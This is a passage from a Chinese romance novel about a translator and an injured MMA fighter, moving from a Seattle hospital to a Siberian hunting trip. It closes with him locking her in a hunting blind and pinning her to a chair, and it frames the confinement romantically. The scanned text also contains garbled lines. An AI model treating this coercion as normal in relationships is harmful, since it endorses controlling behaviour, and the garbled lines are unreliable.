他换上了一身黑色短袖和灰色的及膝宽松短裤,声称腰背都冒了汗,燕棠只好撩起他的短袖下摆 两人就算看过摸过做过爱,那也是快三年前的事情了,从去年九月再见面开始,联络得也不多,以至于燕棠把热毛巾敷在他腹部时,动作还有点儿僵硬。 更不I5的是,他这裤头扎得不上不下,刚好遮住胯部。 皮肤白皙,还带着几道赛场上留下的擦伤,腹肌两侧是分明的人鱼线,浮起的青筋从下腹部一直延伸到裤头里。 人的视线走向也有惯性,燕棠用毛巾轻轻擦过宋郁声称冒汗的地方,下意识就往裤头警了一眼。 灰色裤子布料柔软,起伏极其明显。 不看还好,这一看,她的大脑就先一步进行联想运作,记忆中的那款水瓶的形状和色泽就出现在脑海里。 燕棠用力闭了闭眼,深吸一口气,转过头盯着宋郁。 他仍然安安静静地看着她,不说话也不动弹,躺平任擦,也不知道是不是真的没清醒 燕棠迅速地给他擦完上身,去浴室里换了条毛中,又走到床边给他擦脸。 毛巾轻轻触过他的脸颊,小心避开伤口,留下温柔又温暖的触感. 她的声音也温温柔柔的:“现在满意了吗?清醒点儿了吗?” 宋郁终于满足地开口:“嗯 依照他的要求擦完,燕棠收起毛巾,在床边坐下,冷不丁问:“为什么要答应奥斯汀的排赛申请? 宋郁愣了一秒,没吱声。 "如果是要打top10排名赛,明明相似排名的选手里还有沃尔夫和巴里,他们的风格都和你有差异,而你的优势在奥斯汀面前最不明显,也只有他喜欢给对手在脑袋上面下黑手。" 燕棠见他不想聊,轻轻叹了口气,小心拨开他的发丝去看他头上那道长长的伤口。“这疤有五厘米。”她说,“听说俄罗斯男人的花期都很短,到了年纪恢复力就下降了,尤其是头发,所以你要注意保护听她这么说,宋郁愣了一秒,脸上终于缓缓露出一个不敢置信的表情: "…你在说什么?" ''我在说你要注意保护. “才不是,你在说花期!"他打断了燕棠的话,“我哥还没凋谢呢!" 燕棠没想到他的重点在这里,顿时乐了,逗他说:“你哥是黑头发,他的中国人血统比你要更明显一点。 “我妈妈的头发也很好!”宋郁认真反驳。 “据说这个问题传男不传女。” “我外祖父的头发就像西伯利亚的森林一样多!" 燕棠本意是希望借轻松一点儿的话题,跟宋郁聊聊他在赛场上一直以来态度过于激进的问题。 但她没想到,宋郁的反应竟然这么大,竟然认真跟她辩论了起来。 她立刻意识到这个话题不合适,软声说:“好,对不起,我不该怎么说…” 可宋郁又不说话了。 他躺在床上,抿着嘴,睫毛一颤一颤的。 燕棠心道不好,猜测这大概是麻醉留了点儿后劲,他情绪一下子上头了。 果不其然,下一秒,宋郁眼皮一耷,眼眶变红。 燕棠对他哭鼻子的记忆也停留在三年前,那时候他总是会借机撒娇要好处,嘴上的话一套又一套,趁她心软好说话的时候讲条件 可这一回却不同。 末郁什么话也没说,眼泪也没真落下来,只有眼眶是红的,就这么靠在床头沉默着。 过了很久很久,他用一种很平静的声音问:“你为什么要这么对我。 疑问的句子,陈述的语气。 像一把小小的刀子,在燕棠心头轻轻地划了一下。 “Kiril. 她觉得自己该做些什么,搭在膝头的手攥紧了。 但燕棠在这一刻才发现,在她所有和宋郁相处的记忆里,都是他在要亲要抱,要这要那。 现在他只说这一句话,再也没有别的话了,她竟然感到手足无措。 "你…" 她脑子里一时间闪过很多纠结、很多考量,想得越多,双手得越紧, 整整过了一分钟,病房内安静无声。 燕棠凝视着他,缓缓说:“你想要抱一抱吗?" 他仍然不说话。 片刻后,燕棠倾身带动椅子滚轮靠近床边,试探性地抬起手,朝他伸过去。 可她不过是刚刚抬起手,一言不发的宋郁就握住她的手腕,将她拉进了怀里。 他将脸埋进她的颈项,就像从前那样,紧紧地、大力地抱住她。 燕棠轻声说:“我刚才并不是那个意思.…Kiril,你怎么会变得不好看呢?你都不知道有多少女孩儿喜欢你,她们会在你的海报前合影.…." “我不关心那些人的想法。”他的声音闷闷的。 宋郁拾起头看她。 因这拥抱的姿势,两人离得很近,鼻尖相对,甚至能看见对方眼里的自己。 “为什么要这样担心我?”他问。 燕棠垂眼看他,“是你说的,我们现在是朋友关系。 两人之间陷入了片刻的安静。 “对,我们是朋友关系。 宋郁说这句话的时候,看她的眼神很平静,可他抱住她腰际的手却没有放开,反而收紧了一点。 他们靠得更近了,呼吸都交织在一起, “你怎么定义朋友?在那么久不联系之后,仍然可以让你奔波近十五个小时,从莫斯科赶来西雅图,又在病房里守了一晚上的人,在你的字典里算什么样的朋友?" 45、胆小鬼 病房里,宽敞的窗户几乎占了一整面墙, 百叶窗圈起,外头不知何时下起了小雨,深红浅白的建筑伫立在蒙蒙细雨之中, 连窗面都沾上了细密的雨演 朦胧的雨,阴晦的天。 病房内没开灯,纵使现在是白天,视线所及之处也显得昏暗. 看得不真切,于是相触的感觉变得尤其鲜明。 燕棠感觉到他的呼吸很灼热,揽在她腰间的手强壮有力。 可他落在她颈侧的发丝又如此柔软,像小熊玩偶的绒毛,让她忍不住抬起手,轻轻地抚摸着。 “回答我。" 巨型小熊玩偶开口催促。 他的声线几乎已经摆脱了少年人的清澈,变得沉稳而缓和,但因为声音放得很轻,让燕棠仍然有一瞬间的恍惚 燕棠确定小谭在给宋郁换下手术服的时候,宋郁已经摆脱了麻醉后胡言乱语的阶段。 但她觉得刚才他这一波反应下来,大概还在某种亢奋状态。 那刚才那一阵安静乖巧的样子应该是装的,只不过是装得太像,才骗得她就这么坐下来跟他一本正经地聊正经事。 这下好了,聊着聊着就聊歪了,歪到了敏感的模糊地带. 她想了又想,才说:“Kiri,你对我来说是很重要的人。" “那现在,你有没有后悔当初坚持要跟我分开?" 宋郁开口说话,吐息就贴上她胸口的皮肤,那温度一路渗进了她的心头, “我不会骗你,我想过另一种情况。 燕棠轻声说。 “但没有感到后悔,因为这一切不过是回头看才明了的,没人能知道未来会发生什么。 “那现在''未来’已经发生了,你来了西雅图看我的比赛,陪在我的病床前,我感到很开心,还需要更多的证明吗?" 说起这个比赛,燕棠实在忍不住说:“我是不是跟你说过,不可以通过伤害自己的方式达到目的。” 宋郁神情一滞,过了两秒才说:“说过。 “什么时候说过?" “在拉斯维加斯的时候。“那晚发生了什么?"那晚正是宋郁赢了在UFC的第一场比赛,正是志得意满的时候。两人参加了一场朋友举办的主题派对,他想要公开关系,于是在游戏里接受喝酒惩罚,引她和自己接吻。回到酒店,他高高兴兴地准备和燕棠共度良宵,结果两人在门前亲到一半,燕棠一溜烟钻进房间里,把他关在了门外,对他说了一模一样的话。两人对视片刻,随后燕棠听见他淡定地说:“那晚我们接吻了。"她没想到他还有这种避重就轻的本事,气笑了。可下一秒,她的后颈便被宋郁扣住,被大力带动向前那只扣在她后颈处的手,力道大得惊人,充斥着一种隐而未发的执拗,没有给她一点儿逃开的机会。宋郁咬住她的唇瓣,径直侵入她的口中。明明是强势的动作,这亲吻却并不急躁。湿软缠绵。温柔缓慢。像一片温暖的水流,缓缓漫过燕棠的身躯 宋郁半垂着眼,目光自始至终都落在她脸上,观察着她的表情。 过了一会儿,他放开了燕棠,缓声说: “我这么说这么做,是因为我心里还有你。其实你也仍然很喜欢我吧,别说什么重要”这些话了。刚才给我擦身体的时候,你的脸都红透了。 他握住了她的手,“我很想你。从去年九月再见面到现在,你应该心里清楚我是什么意思。 燕棠垂下眼,心头微微发热。 她又不是傻子,怎么可能没想过。只是两人多数时间都分隔两地,宋郁也不挑明,她不想自寻烦恼 站在三年前看,未来的日子是那么模糊遥远,但这遥远的日子好像是一眨眼就过了。 现在燕棠已经将近毕业,等宋郁这学期结束,之后也只剩下毕业论文,距离毕业也不算远了,新的变动期近在眼前,好像正是做计划的好时候. 燕棠再次抬眼看他,试探性地问: “那你打算退出UFC吗?如果你打算未来继续留在赛场上,按照现在的情况,在美国继续治疗和进行社会资源维护是最好的,那按照医生说的,你至少要在这里留九个月。 “但如果你决定走别的路,是不是就可以回莫斯科或者北京 如果是这样,她也可以调整一下未来的计划,反正之后肯定是在两国的市场来回跑,在北京还是在莫斯科生活都差不多。 他思索了片刻,说:“我可以回到莫斯科进行恢复训练,那里的康复师还不错。 “但医疗、康复和训练对你现在来说都很重要,你不可能把美国的资源都搬去莫斯科吧?" 这是事实,宋郁没法辩驳。 但他却笃定地说:“没关系,我回莫斯科一定也可以恢复得很好。 说到这里,燕棠终于冷静了下来,“既然你还想回到UFC的赛场,就去做对你而言最好的选择。等你在美国恢复好了回去再说。 宋郁沉默了很久后,才问:“为什么?" 窗外的雨还在继续下着,噼里啪啦地打在窗上,敲在人的心头。 在爱情里- 最重要的是“在场” 最可怕的是“缺席” 最万劫不复的是“选择牺牲后在某一天后悔” 燕棠看着宋郁,用目光描着他俊秀的眉眼,说:“我怕你后悔。 “我不会后悔。 她摇摇头。 “Kiril,其实你在摩尔曼斯克那晚骗了我,对不对?你说你明白在低谷是什么感受,理解了我当时决定分开的选择——如果你真的能理解,就不会这么说。 “我们可以经常视频。”她说,“我希望你能实现自己想做的事情,如果你需要我,我会尽我所能地给你支持。 宋郁不再说话,而是放开她,别过脸去,看着窗外的阴雨天。 长睫毛在眼睑处打下一片阴影,也不知道在想什么。 “胆小鬼。” 他再一次这么说。 宋郁在接受手术后的第四天出院,之后会长住在公寓里,接受专门康复机构安排的物理治疗。而燕棠暂时推迟了回莫斯科的计划,陪他又生活了几天,就住在公寓的客房里。小潭在这几天完美隐身,每天都是她推着宋郁的轮椅,带他出门透气,“逛超市吧。宋郁提议。其实公寓里的食材都储备充足,每天有人定点上门做饭,零食也买了很多,但他还记得燕有这个喜好。两人就去了附近一家大型亚洲超市,走走停停,买的东西也不多,就挑些小零食。他们默契地没有再提那天在病房里提到的事情,但燕棠仍然明显感觉到宋郁的情绪发生了变化。摆放着薯片的食品架前有许多人,宋郁坐在轮椅上不方便行动,她让他在不远处的宽敞走道边等着好不容易挤进了人群里,她挑了宋郁喜欢的口味,刚一转身,忽然站定了脚步。宋郁戴着棒球帽,一身黑衣黑裤,坐在轮椅里,手肘随意搭在扶手上,手半撑着脸颊。他哪怕坐在轮椅上,帽子遮住了半张脸,仍然能看得出很帅,只不过因为没什么表情,让人有种不好靠近的感觉但燕棠却忽然想起了超子的话。这一刻,他真像个没人领回家的小朋友。离开超市时已经是傍晚,街边是一排樱花树,落日光线落在浅粉的花瓣上,风一吹,花枝摇曳,几片花瓣落在宋郁的肩头。"Kiril燕棠忽然这么叫他的名字。坐在轮椅上的宋郁摘下棒球帽,仰头看向她。 长睫掀起,瞳孔在光线下又变成带金调的绿,目光很静,情绪很深 “明天我就要回莫斯科了,你要好好的。”她轻声说。 宋郁又低下头去,“嗯,你又要走了。 她把手搭在他的肩上,“既然你打算继续留在赛场,就专心在这里恢复,如果需要我,随时可以找我" “没关系,我可以理解你。”宋郁温声说。 第二天,行动不便的宋郁仍然送她到了机场。 车上,燕棠看着窗外城市风景变化,透过车窗反射,又看见宋郁那张漂亮而沉默的脸, 她偶尔也会想,自己是否真的过于胆怯、过于谨慎。 宋郁现在是二十一岁,恰好在她第一次遇见他的年纪。 那是一个灰暗的年纪。四处都找不到路,生活充满迷雾,无论多么努力都像是一拳打在了棉花上,结果总是不尽人意。这种无路可走、没有机会的生活,会磨平一个人的棱角,改变一个人的心性和想法。宋郁出现在她的二十一岁里,陪她度过了那一段灰暗的时光现在,她无法做到让宋郁牺牲最好的医疗选择,或者要求他放弃格斗比赛这项事业。她也没有办法一直留在美国,陪他度过这段必定会很艰难的恢复期。燕棠仍然会缺席宋郁的这段人生,她感到忐忑。她是个胆小鬼。 车一路抵达机场。 燕棠走下车,提着行李箱往前走了几步又回头,见宋郁坐在轮椅上,神色平静地凝视着她。 那目光就像那年许多个晚上,他送她回学校时一样,强烈、直白,却让人有些琢不透。 见她回头了,他脸上又浮现一个浅浅的笑。 这次分别后,两人仍然会在微信上保持沟通,偶尔还会视频,聊些生活上的事情宋郁很少提及他的伤情和训练,燕棠偶尔问起,他只说还好。 不过她隐约从宋郁的状态里猜到,恢复的情况似乎并不顺利,“前两年,他左膝的伤情就一直在反复,损伤比较严重,医生说这次愈合得不够理想,出现了慢性资症,手术后快六个月的时候,宋老师可以正常走路了,他试着初步开始训练,但效果很不好。伤情又开始反复。燕棠私下问小谭,才知道真实情况。小谭还说:“小燕老师,他最近是不是没怎么跟你联系?宋老师状态很差,不联络你也是不希望你担心。娜斯佳想给他请个心理医生沟通一下,他又不配合,两人是打电话聊这件事的,当小谭说到这里的时候,燕听见他重重叹了口气.“这么久没比赛,他的排名下降了。前段时间圈内媒体一直在报道他的伤情,但这阵子问的人也少了。“其实在西雅图那一场比赛,宋老师知道自己无论和谁比,膝伤的发展都不太乐观,挑奥斯汀也是希望打一场精彩的仗,在休养期间能保持自己的商业价值,不过现在好在宋郁所在的大学对体育生的政策比较包容,他这段时间一直在远程上课,学业倒是没落下。得知这件事后,燕棠试图通过电话联络宋郁,每一次拨过去,他都会接,态度也很温和,但绝口不提自己的情况如果燕棠主动问起,他会沉默几秒,然后说:“我暂时不想谈这个。"她最担心的事情还是发生了。日子一天天过去,莫斯科再次进入漫长的冬季。时间进入十二月,积雪的街头便渐渐出现了闪烁着耀眼光彩的圣诞树,路边植物也都缠绕上璀璨的灯带。而医生口中的九个月恢复期也到了,宋郁仍然没有能够进入正常的训练状态, 恰好这一阵子,燕棠和基金会合作的第一个俄文图书翻译系列处在上市前夕,她在莫斯科和北京两地来回跑,忙得脚不沾地. 等她在国内完成最后一波宣传,赶在十二月初回到莫斯科的公寓时,才忽然意识到自己和宋郁已经将近一个月没有联络。 夜里九点,恰好是西雅图早上九点,她给宋郁发去消息:「你现在还好吗?」 过了一会儿,燕棠收到他的回复:「我回莫斯科了。」 她盯着这条消息发愣了好一会儿,指尖滑动屏幕,往上翻动两人的聊天记录——联络的时间间隔越来越长,话语也越来越短。 上一次沟通还是在宋郁生日的时候,燕棠祝他生日快乐,他回复了谢谢。 哪怕还不是恋人关系,远距离的影响还是如此清晰地展现在了纸面上。 宋郁没有多说他回莫斯科有什么事,发完这条消息就没有下文。燕棠犹豫半晌,不想唐突,也什么都没问。 她退出微信,打开工作软件,工作组群里列了一则通知——在新年假期之前,基金会管理层组织了核心的译者一起参加集团组织去西伯利亚狩猎。 除了基金会的编辑和译者之外,参加狩猎的还有集团下其他子公司的核心成员,算是一次大型团建活动。 这次狩猎活动从今年年中开始组织,燕棠也得到了邀请。 她在毕业后经过深思熟虑,打算出来单干,利用手上的资源做翻译图书策划,所以维持和基金会的合作关系,拓展必要的社交网络非常重要。 编辑部的玛莎也会去,因为这一年的项目策划工作,燕崇已经跟玛莎混得很熟,两人在负责统筹的工作人员协助下,经历千辛万苦取得了狩猎许可证,结下了相当深厚的革命友谊。 “对于我们这种小喽啰来说,猎到几头鹿并不重要,最重要的是和老板聊一下今年的业绩。 出发前,玛莎拉着燕棠去买装备。 西伯利亚很冷,猎场在冰天雪地的树林里,要带上足够保暖,能防风防水的衣物还有一些户外用品。 等到出发这天,母公司高管们跟老板一起坐私人飞机,大部队则由统筹人员安排乘机抵达伊尔库茨克。 住宿的地点在一处高端私人狩猎营地,位于松林雪地之间,面积极大,分为好几个区域,供来客住宿用餐、观赏风景,还有专门练习狩猎的基地, 一排黑色越野车穿过雪地,将一行人送至营地。 大家纷纷下了车,空旷的营地瞬间变得热闹起来。 燕棠站在玛莎身边,环视一周,看着附近高大的白桦林和脚下厚厚的积雪,脑子里只有一个字——冷! 这里的冷是一种极其粗犷的寒冷,直扑面颊,一张口就是有如实质的白气儿。 有些同事戴上了面罩防寒,燕棠也哆嗦着掏出了口袋里的保暖口罩。 恰巧这时,又两辆车抵达营地,她听见身旁的玛莎说:“老板到了! 燕棠下意识抬眼看过去,便见几个偶尔在大楼里碰见过的高管下了车,每个人都进行了全副武装的保暖。 第二辆车的门也打开了,走下来两个人。 都是个高腿长的男人,一身猎装打扮,靴子裹着小腿,黑色防寒中围住下半张脸,高挺的鼻梁撑起面巾,只露出一双漂亮的眸子。 具中一定茂际巴的头反,上仅们身现另入现有么 燕棠见到这一幕,猛地愣住 她没想到宋郁也来了。 46、人生奢侈品… 西伯利亚的午后至傍晚是最温暖的时候,气温高达零下二十五度。太阳悬在高空,给白茫茫的雪地带来一丝暖色。 住宿的房间是一座座俄式木屋,两人一间,燕棠和玛莎住在一起。 屋内十分保暖,墙上挂着深红色的编制挂毯,一侧还悬着头小型野猪标本,往窗外望去遥遥能看见原始森林,颇有种荒野求生的感觉。 “没想到Kiill和llya一起来了。不过我听说他们以前就很喜欢狩猎,几年前组织狩猎活动的时候,大老板也会带着他们两兄弟来。”玛莎用热水擦脸,跟燕棠唠闲嗑。“那时候我刚刚入职,见过他一次,那时候他才——十五岁?那个年纪还不能用猎枪,我记得他站在雪地车上用弓箭射死了一只野猪。” 燕棠在一旁安静地打开行李箱,拿出日用品,只是偶尔应了几声。 手机放在床面上,屏幕始终是黑的。 就在刚才,当宋郁和宋璟 起下车时,她跟宋郁有过一次短暂的眼神交流。 隔着许多人,大约二十来米,他目光往四周一扫,略过她时停住,定定地看着她。燕棠并没有躲避,也与他对视着。 她之前在微信上跟他提及自己在申请狩猎许可证和年未狩猎的事情,所以宋郁是知道她回来的。 可他什么也没有说,以至于这场碰面有些突然。 燕棠想,她可以发消息询问,也可以在下次碰面时直接问他,反正都在营地里,碰面也是迟早的事情。 可她不确定宋郁会给出怎样的回答。 会是像以前那样贴心轻松,还是像他们最后那场问候一样带有距离感? 她换了身更暖和的衣服,拿起放在床上的手机。 屏幕变亮一秒,几条消息冒出来,是统筹在工作组群里通知大家可以直接到餐厅。 燕棠盯着屏幕看了几秒,最终还是将手机收到了兜里,和玛莎一起出门。 虽然这次团建活动十分硬核,但就如大公司一般的团建流程一样,第一天晚上都是大家聚在一起热热闹闹地吃个饭,听听老板发言,回顾过去展望未来。 燕棠跟玛莎一起往餐厅走去,路过一片空旷地带。 并列停靠的雪地车旁还有几辆坦克和装甲车,在黑压压的天色之下像是蛰伏在雪地里的钢铁怪物,与西伯利亚的寒冷空气一样让人心生胆寒。 “猎狼和棕熊的时候要用上这些车辆,现在还能开放报名,统筹那边在统计人数。”玛莎看着这些装备也有些兴奋,“办公室坐久了,还是得找点儿刺激才行。” 餐厅坐落在营地正中的位置,是一座占地面积很大的木屋,主体由齐整的深色木条堆砌而成,两侧并列着几扇边框漆成浓绿色的窗户,正透出明亮的灯光。 她们抵达的时候已经有不少人到了,墙侧的长桌上摆着不同牌子的伏特加和两大盘沾盐面包,酒瓶旁还有 沓小册子,写者未来几天的狩猎事项,诸如喝酒不材猎、不可狩猎母能和幼能等。 给客人品尝沾盐面包是东斯拉夫的传统,代表友情和欢迎。 燕棠刚拿起一块面包,就听见走廊里传来几个男女交谈的声音,俄语一用沉稳的腔调说出来,就会显得特别严肃庄重,一听就知道是领导层来了。 她微微侧过头去,看见一道熟悉的身影,几乎是下意识地拉住了玛莎,带她往餐桌边走过去。 集团层面的团建,主要是让所有人都相互熟悉,所以没有固定座位,不同公司的人混坐在一起,只有老板那桌是固定的。 好巧不巧,她俩坐在了离老板那桌最近的位置。 从燕棠的角度看,恰巧能看见宋郁和宋璟 起坐下,父亲宋裕川是那桌唯一的纯中国人面孔,和其他股东坐在一起聊天,并没有和两兄弟挨着坐。 他们身边是一些核心高管,坐的位置也很有门道,亲疏远近一眼看穿。 这都是玛莎跟她提的,老员工总会知道集团内一些历史往事。 “去年的时候,伊万还会和老板坐在 起,但今年爆出他出差时带着某个子公司的财务总监参加一场商务晚宴后,两个人搞在了一起 老板不信任他,虽然没辞退,但是他已经从核心层出局了。” 燕棠对宋裕川的印象很好,记忆还停留在他是娜斯佳的老公,会给老婆送礼物、关心儿子学习,对她这个家庭教师温和有礼的样子。 那一侧桌上,除了宋郁宋璟两兄弟外,都是四五十岁往上的男女,一个个脸上都挂着亲和的笑,跟走过来聊天的员工谈笑时也很放松随和。 但他们身上那股上位者的气质始终挥之不去。 耳边还在响起玛莎八封的声音:“大老板是个很帅的中国人对吧?这一家子都便聪明,聪明极了,你以为他们很好说话,其只是石适了不说破罢了,等你反应过来自己己经出局的时候,往往已经是尘埃落定了。” 听到这里,燕棠垂下眼,端起手边的热红酒喝了一口。 蜂蜜和肉桂的香味儿在舌尖弥漫,温暖的液体入腹,让她浑身都暖和起来。 “原来是这样。”她放下酒杯,轻声说。 大概是宋郁前两年没出现在集团的团建活动里,这会儿也是大家讨论的话题之一。 “他的比赛我看过,很精彩。” “算起来Kiril也是集团的股东啊。”一位法务部的员工说,“他十八岁的生日礼物就是父母给的集团股权,那阵子律师团队忙了好 阵才完成交割,我们部门也加了好几天的班呢。”大家在餐桌上聊得热火朝天,每个人的手边都有伏特加或者热红酒,桌面上摆着贝尔加湖里钓上来的熏鱼和烤驯鹿肉,当然也少不了经典的俄式红菜汤。燕棠安静地听大家说话,等话题从八卦转移到今年的项目进展时,也开始参与到聊天中。 这一桌除了一些子公司各部门的员工之外,还有和她一样跟集团在今年有亮眼合作的项目管理人,一餐饭下来又收获 沓名片,还跟两位特别聊得来的人约好了回莫斯科后 起吃饭。 十天的旅程,每晚都有这样,结识新人的机会,这正是她此行的目的。 燕棠撇去了心里那点儿多余的念头,专心应付着当下的社交。等所有人吃得差不多了,统筹开始介绍明天的安排—暂时还在营地活动,会有专门负责人安排给所有人进行狩猎前的培训,也有场地练枪或者弓箭。 营地的射击场室外开放靶场,一道道靶子就立在雪地里,有专门的教练进行射击指导,配有常见枪支弓箭和瞄准镜一类设备。 第二天吃过早饭,燕棠和玛莎往射击场走过去。 现在是早上九点多,许多人还没有起来,餐厅都没几个人,却没想到射击场已经响起了枪声。 零下三十度的气温,两人戴着手套也觉得冷,双手揣在兜里,老远便看见一个高大的男人举着步枪站在射击台前。 "Ilya太可怕了,怎么度假跟上班一样起那么早?" 玛莎忍不住说。 他的着装和昨天差不多,黑色防寒面罩遮住了大半张脸,头上戴着顶厚重的黑色绒帽,握枪的姿势很专业,射击稳准狠,一枪正中靶心。 她们俩是枪技大差,这么早过来正是想准备趁没人的时候先来练练手,谁想直接中大奖到了老板,玛莎希望跟Iya明聊基金会今年的业务情况,但绝对不是在他面前展现 得要命的枪技时聊。 玛莎有点儿怂了,但燕棠不是宋璟的员工,这几次和他聊得还行,后来几次碰见,宋璟还会主动问一下项目进展,倒不是很紧张。 所以当男人注意到她俩,转头朝她们看过来的时候,燕棠比玛莎反应更快,礼貌性地打了个招呼:“早上好,Ilya.” 刚打完招呼,他便放下枪,走了过来。 玛莎也跟他打了个招呼,他不像往常那样高冷地点点头或者也简单地回一声“你好”,而是什么也没说。 原本相距大概有十来米远,大家都裹得严严实实,只能大概认出来是谁。 就在燕棠意识到可能有点儿不对的时候,他已经走近了,那双瞳孔不是深沉的灰棕色,而是剔透的金棕色,黑色帽檐下有几缕发丝冒出来,不是黑色,而是浅棕色。 他站定在她面前,扯下黑色防寒面罩,露出一张白皙俊秀的脸,也许是因为太久不见,又带了几分陌生感。 完了。 燕棠脑子里只冒出着两个字。 她本来应该不那么草率才对,毕竟她心里清楚这两兄弟像得很,但玛莎作为员工竟然认错了老板,直接误导了她。 "Kirill.…" 她略有些尴地地和他打了声招呼,反倒是一旁的玛莎丝毫没有认错人的不好意思,热情地银末郁攀谈起来,说他长大了好多,和父兄越来越像了,还问他接下来有什么狩猎行程,现在喜欢用枪还是用亏箭。“枪。”他说,“枪的火力更大,猎物逃跑的可能性更小。用箭虽然伤口小,但是效率太低了。” 宋郁答得很专业。 燕棠沉默地听着,没怎么插话,等玛莎被枪支库的管理员叫过去登记,只剩下她和宋郁面对面站着,才缓缓开口。“你的膝伤还没有好全,这里太冷了,有没有准备护膝保暖的东西?” 他说:“没有特别准备。” “我那里有,你住在哪个房间?等会儿我给你送过去吧。” 宋郁没有说好,也没有说不好。他盯着燕棠看了几秒,问:“你好像不是很意外我在这里。”“.…不,我其实很意外,但你没有提,所以我不知道是否方便问。”燕棠诚实地说。 他听完她说这句话,忽然抬眼看向别处,见一群公司员工结伴过来了,勾起防寒面罩的边缘,重新遮住半张脸。 声音被面罩遮住,略显沉闷:“你先忙吧。” 说罢,他转身走开,又回到射击台前。 燕棠看着他远去的背影,迟迟没有挪动脚步,直到玛莎叫她过去登记挑枪,才回过神来往枪支库走去。 晚上仍旧是聚餐,所有人随机入座。因为明天就要进猎场,大家不免有些兴奋,有狩猎经验的人聊起了之前的经历。宋郁还是跟亲哥坐在一桌,百无聊赖地听着高管们和老爹吹牛,这话题不知不觉就引导他和宋璟身上,问他们两兄弟以前打过什么猎物。 “太多了,哪儿记得清。”宋郁随口回。 “总有印象最深的啊。” 印象最深的,肯定是第一次狩猎。 宋塌也记得,因为那是一次极其失败的狩猎。他们那时候年纪小,只允许在监护下使用弓箭狩猎,跟着外祖父 起跑到腊区的树林里准备射几只雷鸟,结果亲弟认错了鸟,弓箭头对准一只山雀。那不是可以狩猎的品种,等他阻止的时候,弓箭已经射出去了,好在这小子过于兴奋,箭射偏了,箭矢擦过那只山雀的翅膀。 随后他们不得不把山雀带回家治疗。 之后的事情就变得越来越乱,宋郁不会照顾小动物,只喜欢和它玩,偏偏又没耐心给山雀时间熟悉,每天动手动脚要去摸它玩它,导致山雀很讨厌跟他在一起 宋璟瞥了一眼身边的弟弟,说:“第一次打错了鸟,带回家养起来了,那只鸟不适应环境,最后还是死了。”宋郁“嗯”了一声,“死了,我很难过,怎么样都舍不得,最后只好把它做成标本留在身边。”他说完这句话,转头看向另一个方向,那里坐着的女人正和身边的人笑着聊天。燕棠似有所感,忽然转头,猛然对上宋郁的视线。 她在下午给宋郁送去了护膝,他并没有拒绝,但也没有和她多说话,两人在微信上也没有多余的联络。只是在偶尔的时候,她仍能感觉到宋郁在看她。可下一秒,宋郁便先收回了目光。"Yana?Yana?"身边人的声音让燕棠稍微回神,她轻声说:“没事儿,我们说到哪儿了?” 狩猎是个考验技术的活动,燕棠决定从最简单的盲猎开始,而玛莎迫不及待地去看人猎熊,两人在正式狩猎的第一天便兵分两路。 基地附近就是一处盲猎场,狩猎者只需要坐在盲猎小屋里通过专门设计的射击口来瞄准猎物,猎场内主要是野猪、狍子和鹿,很适合新手定点射击,前一个小时还可以选择教练指导。燕棠在下午时先抵达木屋,通过方形射击口往外望就是一片雪林,有一群野猪正被直升飞机赶到附近。她刚在把包里装着热水的保温杯拿出来,门恰好在这时打开。高个子男人进门还要低一下头,黑色靴子踩在木质地面上,发出吱呀的声响。燕棠看着进来的男人,愣了片刻,“…我记得教练叫安德烈,不叫Kirill。” 宋郁摘下帽子,随手将略有些凌乱的发丝捋至脑后,摘下防寒巾,那双眸子看着她。“我来感谢你昨天送来的保暖护膝……恰好这里没有人,我觉得我们可以再聊一下。” “你希望聊些什么?” “先帮你猎一只猎物吧,昨晚说猎到猎物的人有奖品,你看上去是很感兴趣的样子。” 燕棠对他模糊不清地态度感到茫然,坐在位置上没说话,宋郁却先一步走过来,真的开始正经地教她架枪。 “狍子很敏锐,需要用高倍率瞄准镜,最好击中头颈部或者心肺区。野猪的体型更大,要用大口径步枪,在盲猎场景其实要更容易一些。” 他跟她讲解着装备的区别,有的要点在昨天已经提过,不过宋郁说的内容更加详细,还有他个人得出的经验。 燕棠在他的指导下,成功打下一头野猪。 “击中了心肺——你上手很快。”宋郁说,“你好像天生很擅长瞄准心脏射击。” 他声音平缓,却像是话里有话。 燕棠放下枪,转头看他:“你想说什么?” “那么久没见面,你没有想跟我说的话吗?” 宋郁坐在她身边,向后一靠,反问:“我不明白,那天告诉你我在莫斯科,你为什么不多问一点?为什么回来,回来多久—你为什么不问?” “你以前总会说清楚你要回来做什么,可你这次没有说——” “因为那时候我在外祖父家,刚给你发消息的时候就被叫走聊天了,等晚上再看手机,你什么也没有回,好像并不感兴趣。” 宋郁的声音不再像从前那样带着委屈,而是在平静地叙述着。 这种平静让燕棠感到极其陌生,像是有某种沉重的东西,在这九个月里慢慢地覆盖了他性格里欢快的那一面。她脑海里空白了一秒,缓缓开口:“我过去试图问起你的情况,但你看上去也并不想谈。” “我不想让我身上不好的情绪影响你。” “可你以前不是总让我跟你分享烦恼吗?” 说到这里,燕棠捂住了脸。 这是在聊什么? 不知道从什么时候开始,她感觉自己和宋郁之间的氛围开始变得奇怪。 也许就是从西雅图那次分别开始。 燕棠感觉得到他那时候很不开心,而那之后他又经历了并不顺利的恢复期,也许发生了很多她没有料到的事情。她轻轻叹了口气,说:“我感觉到有一些不对劲儿,不确定你是否想要跟我进一步聊天,也不知道你在想什么,问也问不出来。”“我今天来这里,就是要跟你说这个,我认为和你当面说比较好。”宋郁坐在那里,高大的身体极具压迫感,让燕棠感到有一些拘束。 我在西的这9时间,除了伯什么都做不了,因 无所事事,心情不好,反而想了 多,多数扫都在想你,想为什2明肢据的遍思做了,给的空间啊时间,按联你新通的方式和的接触,你的然放不下心来,就低我们品初遇则的群,一退两退 他顿了顿,眼皮掀起,盯着她看。 “后来我想清楚了,你在西雅图的时候,不仅怕我有朝一日后悔回到莫斯科,其实还怕我留在美国会遇到别的女人。当你提起有很多女孩儿喜欢我的时候,心里想的就是这个吧?” 燕棠浑身一僵。 那缓和声音一点点钻进她的耳朵,就跟这西伯利亚的风雪一样,在这一瞬间突然吹过来,让她冻僵,冻碎。“我只是不明白,到底要做到什么地步,才能让你感到安全。”他这么说。燕棠的脸色有些苍白,但声音仍然平静:“我觉得这次聊天可以到此为止了。” 可宋郁还在说:“不过有时候我又想,也许你不是不信任我,是你从来没打算拥有我。你就像打猎 样,打一枪就走,不管猎物躺在地上流了多少血,伤口有多痛,连尸体都不捡回家“她猛地站起来,把东西装进包里,冲到门口,要把门打开。 可门竟然被锁住了。 这是老式门锁,从内部锁住也必须要拿钥匙。 燕棠猛地回头,果然看见宋郁黑色裤子一侧的布料隐约有钥匙的形状。 她走过去,弯下腰要从他口袋里掏钥匙,刚伸手就被他抓住手腕,强行被按在了椅子上。 